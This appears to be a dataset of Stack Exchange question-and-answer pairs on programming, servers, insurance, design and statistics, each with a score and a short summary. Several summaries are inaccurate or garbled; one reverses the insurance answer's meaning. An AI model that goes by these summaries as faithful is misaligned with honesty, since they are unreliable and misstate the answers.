val filterChainMap = filterChainProxy.getFilterChainMap
val filterChain = filterChainMap.find(_._2.exists(_.isInstanceOf[SpringVerificationCodeFilter])).
getOrElse(throw new Exception("Could not find VerificationCodeFilter in FilterChainMap"))._2
val index = filterChain.indexOf(springVerificationCodeFilter)
filterChain.remove(index)
filterChain.add(index, this)
}
| 1 |
In Spring Security 3.1, you can create multiple filter chains .
|
C compiler supported by Windows 7
|
I'm having a problem finding which compiler can support Windows7 for C or C++ programming.
I had installed Turbo but it does not work in full screen on Windows 7.
Please let me know which compiler will be appropriate.
|
lcc-win32 is a free compiler for Windows.
| 0.666667 |
Free compiler for Windows
|
Apache Every subdomain points to same directory
|
I have made something wrong while creating some virtual hosts on Apache and now everytime I go to some_random_subdomain.mysite.com, if this subdomain does not exist or if it is not applied properly it redirects to a specific directory (which is assigned to a specific subdomain) and I don't know what do I have to do to stop it. Some help please.
|
Have you used *.domain.com anywhere? For example:
<VirtualHost 111.222.33.4>
ServerName domain.com
ServerAlias *.domain.com
</VirtualHost>
This would cause the Virtualhost to be used for all subdomains that don't have Virtualhosts.
| 1 |
Virtualhost for all subdomains that don't have Virtualhosts
|
Does having a US drivers' license reduce car insurance versus a Dutch drivers' license in the US?
|
I am currently studying in Buffalo, NY and have no need for a car.
However, I may want to go on a road trip and the end of my stay on the west coast.
Will it make insurance cheaper to get a driving licence here if I want to rent or buy a car for 4 weeks? I am in possession of a Dutch driving licence.
Also, do they make a distinction between in-state and out-of-state licences when renting a car?
|
The exact requirements vary from state to state, but in New York it appears that there is no requirement for you to get a NY Drivers License (as opposed to some other states where once you have been a resident for more than 3 months your home country drivers license is no longer valid).
However on a J1 visa you can optionally get a local drivers license, as long as your visa length is greater than 1 year, AND you have at least 6 months of validity on the visa remaining.
As far as whether it's worth doing this for the purpose of insurance, it depends on what type of insurance you are after.
For rental car insurance, there is no difference in cost of the insurance depending on the type of license you have. If you are getting the insurance from the rental car company (CDP/LDW/etc) then they will not vary it depending on the type of license you have. If you are getting it via travel insurance or credit card insurance then again it will not vary based on your license - but be sure to read the fine print to make sure it's covered!
If you are looking at buying a car, then it will make a difference, but be prepared for a shock either way. Many insurance companies will not offer you insurance if you do not have a US drivers license. I've been told there are some that will - especially for medium-term tourists - but expect to pay a lot for it.
If you do have a US drivers license then you will be able to get coverage, but it will not be cheap. Every insurance company I've ever looked at will ask you how long you've been licensed in the US, and will penalize you heavily for anything below 18 months/3 years/5 years (depending on the company). Most will also ask how long you've held a license in another country, and may reduce the price slightly due to your overseas license - but it won't be by much.
Plugging your details, along with those of the type of car you might consider buying, into some of the insurance companies websites will probably be very telling for you - both in terms of whether they will allow you to purchase coverage without a US license, and how much they will charge with only 1-2 months license history in the US.
| 1 |
if you do not have a US drivers license, you will be able to get coverage without a license .
|
Do we need bleed if the Print output isn't intended to be cut (as is output)
|
been trying to get a handle on this bleed thing.. and i kinda get it, but for the most part it talks about making sure there are no white-outs at the edges of your printed document after it's been cut out to your size specification.
Now I kinda understand this easy, but what I'm wondering is if for example i'm printing on an A4 paper from a desktop printer...and my design is A4 size as well.. I would think that there is no reason/use for bleed ,right?
Thanks
|
You are right, if you design a simple text document, there really is no need (or even use) for bleed. Bleed exists for non-white backgrounds. Because printing onto the edges of paper exactly is not possible. So when you just want to print something on A4 on your desktop printer, be it a contract or a shopping list, bleed is useless.
| 1 |
Bleed exists for non-white backgrounds
|
Is there a name for the number of values a variable can take?
|
For example, a bit or a boolean can be either 0 or 1 so the number 2 is associated with it. Similarly, for a byte which is 8 bits, the maximum number of different assignments would be 2^8.
Is there a name for this number?
When we pass everything through our system that has ECMAScript, Java and MySQL, then a boolean does not have only two possible assignments. For instance, a false boolean gets saved as a 0 and the boxed value could be null so a boolean suddenly can get true, false, 0, 1, null or even undefined or <missing>.
I think it could get problematic in tests to guarantee that the values are not inconsistent. For instance, a value boolean locked could become null and then when a script or a layout template evaluates it then it will evaluate to false somewhere if the real value was null and similar problems.
So why don't we always assert that a boolean has the same number of possible values (2 values) and similarly for other types?
There is a mathematical term named "arity" that is something similar but not exactly, and statistics and probability theory also has the concept of "event space" that would be almost exactly what I mean. For instance, the event space for a boolean would be the set {0,1} which has cardinality 2 and that cardinality doesn't get preserved throughout the system, especially when data is passed as polyglots and/or serialized (json, jsonp, xml, yaml).
|
I would call it cardinality (and indeed I have used it in that sense). It is strictly the cardinality of the set of all values a variable can take.
Edit: for example, a 16-bit integer can take exactly 65536 values. The cardinality of the set of all values that the integer can take is 655536.
Once you start to consider variables that have a range of valid values and also a range of invalid values (like a boolean with a bitwise value of 17), then you have to extend the concept somewhat, but you can still describe those values with set notation and the concept of cardinality still applies.
Edit: Yes, this is the mathematical set, not programming Set. If you were to apply the concept to the C# type short and derive the type short?, this would not have 65537 values, represented by the union of the set of 65536 values mentioned previously and one additional value, null.
| 0.777778 |
cardinality of the set of all values a variable can take
|
Client Object Model - How can I access a List using relativeServerUrl
|
I am using the client object model and I want to access a List using the server relative Url.
Folders can be accessed using the web.GetFolderByServerRelativeUrl but no such function exists for lists.
The available API is web.Lists.GetByID and web.Lists.GetByTitle which I can't use (The list title is different from the listname/listpath)
|
You can use by this way:
try
{
SP.ClientContext ctx = new SP.ClientContext("yoursiteurl");
ctx.Credentials = CredentialCache.DefaultCredentials;
ctx.AuthenticationMode = SP.ClientAuthenticationMode.Default;
ctx.ExecuteQuery();
IEnumerable<SP.List> newLists;
var query = from list in ctx.Web.Lists
where list.DefaultViewUrl == "/Shared Documents/Forms/AllItems.aspx"
select list;
newLists = ctx.LoadQuery(query);
ctx.ExecuteQuery();
foreach (SP.List l in newLists)
{
MessageBox.Show(l.Title);
}
}
catch (Exception ex)
{
MessageBox.Show(ex.Message);
}
| 0.833333 |
Try SP.ClientContext
|
How well does Python's whitespace dependency interact with source control with regards to merging?
|
I'm wondering if the need to alter the indentation of code to adjust the nesting has any adverse effects on merging changes in a system like SVN.
This is a really open ended question. I'm sort of fishing for information/anecdotes here.
Edit: Thanks all! I'd accept an answer but which one? I up moded them all.
|
It works fine so long as everyone on the project has agreed to use the same whitespace style (spaces or tabs).
But I've seen cases where a developer has converted an entire file from spaces to tabs (I think Eclipse had that as a feature, bound to Ctrl+Tab!), which makes spotting diffs near impossible.
| 1 |
spotting diffs from spaces to tabs in Eclipse
|
Background image along with CSS3 gradient
|
I have styling for a <div> in my page as below;
.maintab1{
background:rgb(0,65,135);
background:-moz-linear-gradient(-45deg, rgba(0,65,135,1) 0%, rgba(30,127,201,1) 29%, rgba(53,154,255,1) 62%);
background:-webkit-gradient(linear, left top, right bottom, color-stop(0%,rgba(0,65,135,1)), color-stop(29%,rgba(30,127,201,1)), color-stop(62%,rgba(53,154,255,1)));
background:-webkit-linear-gradient(-45deg, rgba(0,65,135,1) 0%,rgba(30,127,201,1) 29%,rgba(53,154,255,1) 62%);
background:-o-linear-gradient(-45deg, rgba(0,65,135,1) 0%,rgba(30,127,201,1) 29%,rgba(53,154,255,1) 62%);
background:-ms-linear-gradient(-45deg, rgba(0,65,135,1) 0%,rgba(30,127,201,1) 29%,rgba(53,154,255,1) 62%);
background:linear-gradient(-45deg, rgba(0,65,135,1) 0%,rgba(30,127,201,1) 29%,rgba(53,154,255,1) 62%);
filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#004187', endColorstr='#359aff',GradientType=1 );
}
I want to include an image image.png as the background image along with the CSS3 gradient.
I checked this stackoverflow question and this article and ended up with the following code;
background-image:url(image.png), -moz-linear-gradient(-45deg, rgba(0,65,135,1) 0%, rgba(30,127,201,1) 29%, rgba(53,154,255,1) 62%);
and applied the for all other attributes and is working fine.
But this is not working in IE8 (only tested in IE8 and FF3+) and believe not going to work in older ones. The gradient is working perfect, but the image is not coming.
Can somebody tell me the way to display background image along with CSS3 gradient other than the way I already mentioned?
|
I always add class to the html so that you can style browser-specific.
Than you can just target .ie8 or .ie and make an extra file for IE with both gradient and img.
<!DOCTYPE html>
<!--[if lt IE 7 ]> <html lang="en" dir="ltr" class="ie6 ie"> <![endif]-->
<!--[if IE 7 ]> <html lang="en" dir="ltr" class="ie7 ie"> <![endif]-->
<!--[if IE 8 ]> <html lang="en" dir="ltr" class="ie8 ie"> <![endif]-->
<!--[if IE 9 ]> <html lang="en" dir="ltr" class="ie9"> <![endif]-->
<!--[if (gt IE 9)|!(IE)]><!--> <html class="non-ie" lang="en" dir="ltr"> <!--<![endif]-->
| 0.888889 |
Add class to the html
|
Reblog yourself on Tumblr
|
Recently in my timeline, I have seen users that have repeat posts from earlier such that it is in the format of a reblog.
When I click on my posts I do not see the option to reblog.
How to reblog oneself on Tumblr ?
|
Reblog is mainly for re-posting blogs by others;
http://www.tumblr.com/docs/en/dashboard
Reblogging lets you quickly share things you find on Tumblr. Clicking the Reblog button next to any post will create a copy on your blog, and give you a chance to include your own comments.
Reblogged posts automatically include attribution to the original poster.
But you can reblog yourself by doing the following;
http://tumblring.net/how-to-reblog-yourself-on-tumblr/
Right Click on the following bookmarklet link – REBLOG YOUR OWN POST ON TUMBLR – and choose “Bookmark this link”
Now, once you are on one of the posts of yours that you want to reblog (not the dashboard, but the article itself ) Click on the Reblogging bookmark you just saved and you will be taken to the reblogging edition screen.
The bookmarklet mentioned above is;
javascript:%28function%28%29%7Bwindow.location=%22http://tmv.proto.jp/reblog.php?post_url=%22%20window.location%7D%28%29%29;
Hope this helps
| 1 |
Reblogging allows you to quickly share things you find on Tumblr
|
Reliably detect caller domain over cURL request?
|
OK so server-side security is not my forte. Basically, I'm building a service which users may use (via an SDK) only on the domain they stipulated when they signed up.
The SDK calls my web service over cURL in PHP.
Would I be right in thinking I cannot reliably detect the caller domain, i.e. enforce that it is the same domain they stipulated when signing up?
cURL of course sends this over headers, but headers can always (?) be faked.
Is there a better course of action to enforce domain for this sort of thing?
(NB I'm already using an API key, too - it's just I wanted to restrict domain, too)
Thanks in advance
|
The only thing you get from a cURL call is the remote IP in the REMOTE_ADDR environment variable.
AFAIK, that is very hard to fake meaningfully (ie. when the caller wants to actually receive data.)
So if you can live with limiting the customer to an IP, you should be reasonably safe by checking that variable.
However, of course, that gives you no control over which domain they use the data for. That's not reasonably possible - an IP can be used for multiple domains.
You could, however, try to resolve a domain name to its IP, and compare that to the REMOTE_ADDR you are getting.
I don't think this is a good idea overall; see my comment above.
| 0.888889 |
Remote IP in REMOTE_ADDR
|
What is the best introductory Bayesian statistics textbook?
|
Which is the best introductory textbook for Bayesian statistics?
One book per answer, please.
|
Not strictly Bayesian Statistics as such, but I can strongly recommend "A First Course on Machine Learning" by Rogers and Girolami, which is essentially an introduction to Bayesian approaches to machine learning. Its very well structured and clear and aimed at students without a strong mathematical background. This means it is a pretty good first introduction to Bayesian ideas. There is also MATLAB/OCTAVE code which is a nice feature.
| 1 |
A First Course on Machine Learning by Rogers and Girolami
|
which is the best way to access a shared object in a multithreading application?
|
In my code I save data in a binary file, when I save I run the function save() in a different thread. The data that I'm saving are stored in a vector<uint_32>, this vector is used also by others function and I did a copy to avoid conflicts and not desired modification, I think that this isn't the most efficient way to solve this problem so I want ask which is the best way to have this kind of behavior? I was thinking about shared pointers, maybe.
here is the code:
inline void write( std::vector<uint32_t > pData ) {
fThread = std::thread( &FileHandler::writeFile, this, pData );
fThread.join();
}
inline void writeFile( std::vector<uint32_t> cVectorCopy ) {
fwrite( ( char* )&cVectorCopy[0] , cVectorCopy.size()*sizeof( uint32_t ) , 1, fBinaryFile );
closeFile();
}
|
std::shared_ptr avoid data races for underlying data creation and destruction, not access.
Critical resource (std::vector<uint_32>) needs to be protected with std::mutex or lockfree tools.
| 0.666667 |
std::shared_ptr avoid data races for underlying data creation and destruction, not access
|
Why making additional payment to mortgage counts towards principal? Why does it matter?
|
When it comes to mortgage advice, some people recommend making an extra payment. The logic is :"These extra payments are automatically applied to your principal, not interest".
Why does it matter if the extra payment is applied to the principal and not interest?
|
Let's say you are paying $500 a month, and this month you pay $1,000 extra, for a total of $1,500. "Counts towards principal" means you now owe the bank $1,000 less. You still have to make your $500 payments this month and next month, but your loan will be repaid a lot quicker. Every month you pay less interest, because you owe less money, so more of each months payment goes towards paying back the loan.
"Counts towards interest" means your payments are now $1,000 ahead of schedule, so you could not pay any money in the next two months (because you already made these two payments). So you haven't really paid back any additional money, but the bank holds these $1,000 for you and uses the money if you don't make payments. So this is much less beneficial to you.
| 0.777778 |
"Counts towards principal" means you now owe the bank $1,000 less .
|
1/4 to 1/8 jack problem
|
I was planning to record months ago, with my electric guitar, and yesterday I got myself a guitar rig software and bought some 1/4 to 1/8 adapter jack so that I can plug in unto my laptop's mic hole.
Whenever I plug my guitar cable to the 1/4 to 1/8 adapter then to the laptop I can't hear any sound (past the clicking sound you hear) but when I plug the cable almost halfway of the adapter's body (before the clicking sound) I can hear sound when I play and there's some loud buzzing sound involved.
Any explanations as to why this is happening?
|
You can't just use an adapter to plug your guitar directly into your laptop -- the laptop's sound card is expecting either mic-level or line-level sound, whereas your guitar is a very high impedance signal coming in at a very low level (particularly if your pickups are passive).
It's possible that your adapter is just faulty, but it's far more likely that you will need a special interface to use with your guitar. There are countless options, but for the most basic setup you would just want to google USB guitar cable. They're pretty cheap.
| 0.777778 |
Plug your guitar directly into your laptop's sound card
|
How was the sword of Gryffindor pulled from the hat a second time?
|
Spoilers follow, and this is from the books (not the movies)...
In The Chamber of Secrets:
Harry retrieves Goderic Gryffindor's sword from the sorting hat during the confrontation with the basilisk. After this Dumbledore keeps hold of the sword in a glass case in his office.
Then in The Deathly Hallows:
Harry and Ron do a deal with Griphook to return Gryffindor's sword to the goblins after they have retrieved Hufflepuff's cup, planning to partially double cross him by holding on to it until all the horcruxes have been destroyed. However Griphook double crosses them first, and keeps hold of the sword.
Then, in the battle at the end of the book:
Voldemort puts the sorting hat on Neville Longbottom's head and sets him on fire. Instead of burning Neville pulls Gryffindor's sword out of the sorting hat and beheads Nagini, destroying Voldemort's last horcrux.
However, if the sword could always be pulled out of the hat by someone sufficiently heroic then why the need to:
Create a copy of the sword to fool Bellatrix Lestrange into thinking she had the real one in Gringott's vault? Why forge a copy and risk Snape placing it in the lake if it could always have been pulled from the sorting hat, regardless of where it was or how it was protected?
How was Gryffindor's sword pulled from the hat the second time? Surely it was beyond the reach of accio or any other charms once returned to its goblin creators?
|
In Chamber of Secrets, page 320, chapter 17:
A gleaming silver sword had APPEARED inside the hat...
Also in CoS, page 334, chapter 18:
"Only a true Gryffindor could have PULLED that out of the hat, Harry" (Dumbledore to Harry)
In Deathly Hallows, page 689, chapter 23:
"Now, Severus, the sword! Do not forget that it must be taken under conditions of NEED and VALOR..."
(The emphasis is mine)
The short answer is that the magic of the sword and the hat worked together to provide the sword to Neville.
It appeared to him since Neville fulfilled all the qualities necessary for the sword to appear in the Sorting Hat:
true Gryffindor: Sorting Hat put Neville in the house
need: Neville needed to kill Nagini
valor: definition of valor is "strength of mind or spirit that enables a person to encounter danger with firmness" (Merriam-Webster.com) and I think Neville demonstrated that numerous times
| 1 |
"Only a true Gryffindor could have PULLED that out of the hat, Harry"
|
Most effective way to increase programmer salary besides just doing your job?
|
If you have the time and resources, what would be the most effective way to increase your salary as a full-time programmer, outside of just doing your job?
By "salary" here, I mean salary (adjusted for location cost-of-living) coming from a single programming job.
|
The critical piece that you are missing is learn to negotiate. Learn to do that effectively, and you will make a bigger difference in your income than any other single thing you can learn. Even if you only negotiate once every three years when you are discussing salary, learning the basics of negotiation will pay you back more, dollar for dollar and hour for hour, than any other possible investment of your time.
So how do you do it?
Many years ago I asked a friend who was an excellent negotiator for his recommendation on how to learn how to negotiate. He suggested a contrary book, Start with No. It walks through a particular negotiation strategy that is highly effective and is a pretty good fit for a lot of people. I happily can recommend it if you don't already have good negotiation skills.
Subsequently I ran across Bargaining for Advantage and it is by far the better book. I would describe it as being geared towards giving people a theoretical framework from which they can better understand negotiations they are in, and can better figure out what works for them. It can definitely take you farther than the previous book, however it doesn't give you as clear-cut "this is what you do". It is a more advanced book. I'm glad that I read it, but I am also glad that I didn't read it first.
How cost effective is learning something about negotiation? Those two books combined cost well under $50. I spent, combined, well under 20 hours reading them. In the last three years they easily made me over $100,000 in extra income.
| 1 |
How do you learn how to negotiate?
|
More colloquial term for "confidant"
|
Is there a more colloquial term for a "confidant", or someone who has been entrusted with sensitive information to be disclosed only under certain conditions?
This is related to my previous question on trusted proxies.
|
A right-hand man is colloquially used to refer to someone whom you can trust with your secrets.
| 1 |
a right-hand man is used to refer to someone whom you can trust with your secrets.
|
Magento & fputcsv strange empty row at beginning of file
|
I'm writing some info to a .csv file in Magento:
public function batch_update_attributeAction(){
$attribute_id = $_GET['attribute_id'];
$table_name = $_GET['table_name'];
$input = $_GET['input'];
$input = explode(';', $input);
$connection = Mage::getModel('core/resource')->getConnection('core_read');
#$connection_write = Mage::getModel('core/resource')->getConnection('core_write');
$csv_array = array();
array_push($csv_array, array('entity_id', 'name', 'previous_value', 'updated_value'));
foreach ($input as $part){
$parts = explode(",", $part);
$entity_id = $parts[0];
$value = $parts[1];
$sql = 'SELECT `value` FROM ' . $table_name . ' WHERE `entity_id` = ? AND `attribute_id` = ?';
$current_value = $connection->fetchOne($sql, array($entity_id, $attribute_id));
$sql = 'SELECT `value` FROM `catalog_product_entity_varchar` WHERE `entity_id` = ? AND `attribute_id` = ?';
$name = $connection->fetchOne($sql, array($entity_id, 56));
array_push($csv_array, array($entity_id, $name, $current_value, $value));
#echo "UPDATE `$table_name` SET `value` = $value WHERE `entity_id` = $entity_id AND `attribute_id` = $attribute_id<br/>";
}
$user = Mage::getSingleton('admin/session')->getUser()->getFirstname();
$date = Mage::getModel('core/date')->timestamp(time());
$date = date('Y-m-d', $date);
header('Content-Type: application/csv');
header('Content-Disposition: attachement; filename="$date $table_name update $user.csv";');
$f = fopen('php://output', 'w');
foreach ($csv_array as $line) {
fputcsv($f, $line, ",");
}
}
Other than the empty starting row, everything is perfect.
Interestingly enough, if I run this outside of the Magento code pool, i.e from a root script, it functions perfectly. Any input would be appreciated.
|
Than somewhere in magento a line break happens, either a echo "\n", but I would bet, it is something like:
// here is a line break at the beginning of the file
<?php
or
?>
// here is an empty line in the file
| 0.777778 |
a line break occurs in magento
|
Tool for automatically generating and laying out an entity relationship diagram?
|
I've seen a lot of tools which can reverse engineer an ERD from an existing database, but I haven't been able to find one which is capable of automatically laying out the diagram in a reasonable way. Most of them just plop all the entities down on top of each other and call it a day. Some make an attempt at organizing the entities, but they don't do a very good job of it.
Is there any tool out there that will reverse engineer the structure of an existing database, and then automatically lay it out in a way which is easy to understand and reveals the organization of the database? If I were to make such a tool, I'd have it minimize the length of lines connecting entities, minimize the number of lines which cross each other, and make groups of related entities stand out from each other. I'd also try to deduce which tables are lookup tables, which ones are mana-to-many intermediate tables, etc and lay out the entities such that these roles are obvious to a person looking at the diagram.
I don't exactly have the funding to make the above, but I do have some funding to buy a tool like that if it's good.
Edit: I should mention that I'm trying to diagram a database with 100+ tables, so I'd like to automate as much of it as possible. The database is not one I'm very familiar with, so I'm looking to learn from looking at the diagram rather than dumping what I know into a diagram (which seems to be what most diagramming tools are designed for).
|
probably depends on which database you're using. I've tried this with Microsoft SQL Server Management Studio and it creates and lays out the diagram. I can't really say if it meets your requirements but the express edition is free so it's always possible to try it out.
| 1 |
Depending on which database you're using
|
Odd sound after tire rotation?
|
About two days ago I got my tires rotated on my 2005 Chevy Cobalt while I was getting an oil change. This was the first time that the tires had been rotated in at least 14,000 miles (since I purchased the car). The car itself has about 36,000 miles, so I'd assume that's the age of the tires.
Anyways, whenever I go above 30 mph I hear a helicopter like sound, and it ramps up the faster I go.
Here's two videos I've recorded:
http://youtu.be/bb0gZGLJJ5M
http://youtu.be/Ol6MMqPVfgQ
I've read that it can be caused by waiting too long to get the tires rotated, as they start to wear into a pattern, which can cause the noise.
|
Rotated or swopped back to front? Check on the tyres side wall for the word 'Rotation'. There will also be an arrow or indicater for the direction of rotation when driving forward. They must be on the correct side of the vehicle and rotating in a forward direction. The age of your tyres can be found by reading the DOT code on the tyre wall. You will see the word 'DOT' next to a box with four numbers within it. The first two numbers are for 'the week of the year', whilst the second two numbers are for 'year of manufacture'. ie. DOT 2414 would mean twenty-fourth week of 2014, which is when the tyre was produced.
| 1 |
Rotated or swopped back to front?
|
Can I delete my fork of a BitBucket repository, after the owner has accepted and merged my pull request?
|
I created a fork of a public repository on BitBucket, with the sole purpose of committing a pull request that fixed some bug. The pull request was accepted and merged. Now, I want to delete the repository, that has outlived its purpose. If I do that, will the changes be lost?
There is already a question about this same issue, but for GitHub. Apparently, on GitHub you can delete the repository before the request has been even merged, as it gets automatically saved in the target repository. I guess that on BitBucket, things will be similar, but I wanted to be sure.
|
I would say if things work as expected on GitHub, then they would work on BitBucket. If the pull request was "accepted and merged", then nothing you do to your personal repository will modify the repository that has merged in your changes.
| 0.888889 |
if the pull request was "accepted and merged" then nothing you do to your personal repository will modify the repository that has
|
How can I detect connected (but logically distinct) bodies of water in a 2D map?
|
I have a 2D hexagonal grid map. Each hex cell has a height value used to determine if it's water or ocean. I'm trying to think of a good way to determine and label bodies of water. Oceans and inland seas are easy (using a flood fill algorithm).
But what about bodies of water like the Mediterranean? Bodies of water that are attached to larger ones (where "seas" and "gulfs" differ only by the size of the opening)?
Here's an example of what I'm trying to detect (the blue body of water in the middle of the image, which should be labelled differently from the larger body of ocean on the left, despite being technically connected):
Any ideas?
|
Following on vrinek's idea, how about growing the land (or shrinking the water) so parts you would originally be connected would be disconnected after the land is grown?
This could be done like so:
Define how much do you want to grow the land: 1 hex? 2 hexes? This value is n
Visit all land nodes, and set all their neighbors up to depth n to land nodes (write to a copy, as to not get an infinite loop)
Run your original floodfill algorithm again to determine what is now connected and what is not
| 1 |
How about growing the land so parts you would originally be connected would be disconnected?
|
let you know a couple of facts OR bring couple of facts to your notice
|
Which of the following is more appropriate / polite?
I would like to bring a couple of facts (or things?) to your notice.
OR
I would like to let you know a couple of facts.
Please advise.
|
While speaking it may well depend upon your tone. In writing, let you know a couple of facts, sounds more authoritative/accusative compared to bring to your notice.
Alternatively, bring to your attention, may be appropriate when dealing with seniors in the hierarchy.
One of the single word for the above phrase can be accentuate.
| 1 |
Adding a single word to your attention
|
How can I get elements out of an array with Template Toolkit?
|
I have an array of Paths which i want to read out with Template Toolkit.
How can I access the array Elements of this array?
The Situation is this:
my @dirs;
opendir(DIR,'./directory/') || die $!;
@dirs = readdir(DIR);
close DIR;
$vars->{'Tree'} = @dirs;
Then I call the Template Page like this:
$template->process('create.tmpl', $vars)
|| die "Template process failed: ", $template->error(), "\n";
In this template I want to make an Tree of the directories in the array. How can I access them?
My idea was to start with a foreach in the template like this
[% FOREACH dir IN Tree.dirs %]
$dir
[% END %]
|
Use references to pass arrays or hashes into your template:
$vars->{'Tree'} = \@dirs;
Then in the template:
[% FOR d = Tree %]
[% d %]
[% END %]
| 0.888889 |
Use references to pass arrays into your template
|
Is there a way to read the columns in a shapefile / layer without converting it first to an MDB file?
|
My shapefile has a number of fields, like roadname, and street number. Is there a way to get at these without converting the shapefile first into a featureclass (mdb)? Sometimes the conversion is a time consuming operation.
I'm using ArcEngine 10 C# with VS2010
|
Yes, a shapefile in this context is a feature class just like any other feature class, regardless where it resides, be it folder-based (shapefiles), geodatabase or SDE workspace. There is no need for any conversion.
Just open the shapefile feature class from the workspace and access the Fields property on the shapefile table. If you need to query for the actual data, you can use (for example) the IFeatureClass.Search method.
| 1 |
Shapefile feature class in this context is a feature class just like any other feature class .
|
When to Use WCF / REST
|
I am new to REST. I was reading many article about REST. Still I am confused and do not know exact reason when we should go for REST rather than WCF traditional services.
|
I don't think the two are mutually exclusive, see this question which has pointers to many other interesting posts on WCF and REST. In terms of whether or not you need to expose a RESTful service at all, that depends on your application.
If you are building a public API, using REST with JSON or XML is popular in part because it's a very generic way to expose an API since clients don't generally need to generate code to use your API. Whereas with something like SOAP, code generation for the client is a lot more standard. If your clients are javascript, for instance, it's quite easy to use a RESTful service. If your API is only for internal consumption (i.e. you own the client and the server), then the benefits of REST are somewhat diminished, and it may be easier to use something like WCF.
In general, REST is a good choice when you don't mind being limited to HTTP, your service endpoints can be described well using RESTful concepts, you don't need a contract (like a WSDL), and when you don't want to worry that a client of your service won't be supported for technical reasons.
I've used RESTful web services as a reference in the past, it's a great book.
| 1 |
REST is a very generic way to expose a public API
|
Tilde on unix:hpux and / or solaris
|
On Linux press F9 return a correct
~
On unix(solaris or hpux) return
0~
How to set correct tilde on those systems?
|
Solution found
first must press
CTRL+V and key
in my case is F9
so i did
CTRL+V F9
and return this
^[[20~
Now i know is key 20 and i bind it to tilde
bind '"\e[20~":"~"'
I try if work pressing F9 and return tilde
I put this in $HOME/.profile for permanent change
| 0.888889 |
CTRL+V F9 and return tilde
|
I need to remove a question with sensitive data?
|
Possible Duplicate:
What should I do if a user posts sensitive information as part of a question or answer?
http://stackoverflow.com/questions/3464580/reverse-engineering-a-hash
I have been notified that I cannot post this information anywhere online and I need this question to be taken down. I have edited the specific information out of it, but the revisions would hold the information.
|
Use the "Request Moderation Attention" flag option and explain your situation. (I have done this for you already.)
| 1 |
"Request Moderation Attention"
|
How can I stop a running MySQL query?
|
I connect to mysql from my Linux shell. Every now and then I run a SELECT query that is too big. It prints and prints and I already know this is not what I meant. I would like to stop the query.
Hitting Ctrl+C (a couple of times) kills mysql completely and takes me back to shell, so I have to reconnect.
Is it possible to stop a query without killing mysql itself?
|
Use mysqladmin to kill the runaway query:
Run the following commands:
mysqladmin -uusername -ppassword pr
Then note down the process id.
mysqladmin -uusername -ppassword kill pid
The runaway query should no longer be consuming resources.
| 0.5 |
Mysqladmin kill pid
|
Upper Bound on Determinant of Matrix in terms of Trace
|
For an $n\times n$ positive definite matrix $A$, I wish to prove that
$$\det(A) \leq \bigg(\frac{Trace(A)}{n}\bigg)^n$$
To me this seems some form of AM-GM Inequality (Arithmatic Mean-Geometric Mean Inequality). Therefore If I can show the following, above inequality follows :
$$\det(A) \leq \prod_{i=1}^{i=n} A_{ii}$$
Any idea how to prove the above.
Thanks
|
Let $\,\lambda_1,...,\lambda_n\,$ be the matrix's eigenvalues (perhaps in some field extension of the original one), which are all positive (of course, it is customary to consider only Hermitian, or symmetric, matrices when defining positive definite), then
$$\det A=\prod_{k=1}^n \lambda_k\,\,\,,\,\,\,\operatorname{tr.}A=\sum_{k=1}^n\lambda_k$$
Thus we're required to prove
$$\prod_{k=1}^n\lambda_k\leq\left(\frac{\sum_{k=1}^n\lambda_k}{n}\right)^n\Longleftrightarrow \sqrt[n]{\prod_{k=1}^n\lambda_k}\leq \,\frac{1}{n}\sum_{k=1}^n\lambda_k$$
which is precisely the AM-GM inequality, as you mentioned.
| 0.666667 |
,lambda_n,$ be the matrix's eigenvalues (perhaps in
|
Date format in UK vs US
|
Why is the most common date format in the US like mm/dd/yyyy, whereas in Europe (including the UK) it's more common to have dd/mm/yyyy?
Looking around, I found that the US form is actually the more traditional Anglo-Saxon way, but the British adapted to using the European form in the early 20th Century.
But I couldn't find a definitive discussion of the history of the different formats. Is it just conventional, or is there an official 'British date standard' (like with metric and imperial, for example).
|
Ask a simple question, get a simple answer: it’s because that’s how we speak it in English:
Today is Thursday, May 24th, 2012.
Now convert the month name to a natural number, and there you have your answer. What’s today’s date? It’s May 24th. Instead of writing May-24, we simply change the “May” to “5” and write 5-24 or ⁵⁄₂₄.
That way it follows the natural language order and so requires no mental gymnastics to switch things around when speaking the date aloud. Similarly “September 11th” gets written ⁹⁄₁₁, etc.
The full spoken form with the year, “May 24th, 2012”, then becomes the written shorthand “5/24/2012”, or often just “5/24/12”. “Christmas of 2001” can be, and somewhat annoying often is, written “12/25/1”, while “January 25th, 2012” becomes “1/25/12”.
This isn’t usually any sort of problem because of universal consensus on how to interpret such things in the United States. If you write day/month/year in America, you will not be understood. Although I myself prefer the ISO notation, normal people do not use it in their daily affairs.
EDIT
I’ve deleted the rest of the material in case it was distracting the downvoters.
I have no idea what the downvoters are disagreeing with, since they did not condescend to say why. The standard and accepted answer as to why Americans write the month first is indeed because they say it first in speech. A trivial Google comes up with this very same answer repeated dozens and dozens of times.
I suggest that if you do not like this answer, you do me the courtesy to say why you think this one is wrong. Even better, provide your own answer if you think mine is wrong.
| 1 |
What’s today’s date? It’s May 24th
|
Changing html content onclick chrome extension
|
Hello and thanks for reading my question. I'll warn you, it will probably seem dull to most of you, but I just can't get it working.
It's about a chrome extension I'm trying to write for my audio stream. Here's what I'm trying to do:
A small icon, that when is clicked once starts playing music, and when is clicked again stops, and so on...
Here's what I've tried:
<!doctype html>
<html>
<head>
</head>
<body>
<script src="popup.js"></script>
<div id="music"></div>
</body>
</html>
and popup.js
var well=0
//Executed when the extension's icon is clicked
chrome.browserAction.onClicked.addListener(function(tab)
{
if(well>0)
{
var well=0;
document.getElementById('music').innerHTML= '<iframe src="#" width="100" height="100"></iframe>';
}
else
{
var well=1;
document.getElementById('music').innerHTML= '<iframe src="http://electro.piratefm.ro/popup.html" width="100" height="100"></iframe>';
}
});
What's happening is that when the extension is loaded, no music plays. When you click it, it starts playing and everything's fine. When you click it again, it stops for a couple of seconds then starts playing again. I need it to stop until you click it again.
Thanks for reading and sorry if it's already been asked or if it's dull.
|
I fixed it, my js skills are horrible so it was a dumb mistake, this is the fixed version:
var well=0
//Executed when the extension's icon is clicked
chrome.browserAction.onClicked.addListener(function(tab)
{
if(well==1)
{
well=0;
document.getElementById('music').innerHTML= '<iframe src="#" width="100" height="100"></iframe>';
}
else
{
well=1;
document.getElementById('music').innerHTML= '<iframe src="http://electro.piratefm.ro/popup.html" width="100" height="100"></iframe>';
}
});
| 0.888889 |
var well=0 //Executed when the extension's icon is clicked chrome.browserAction.onClic
|
Tips for finding SPAM links injected into the_content
|
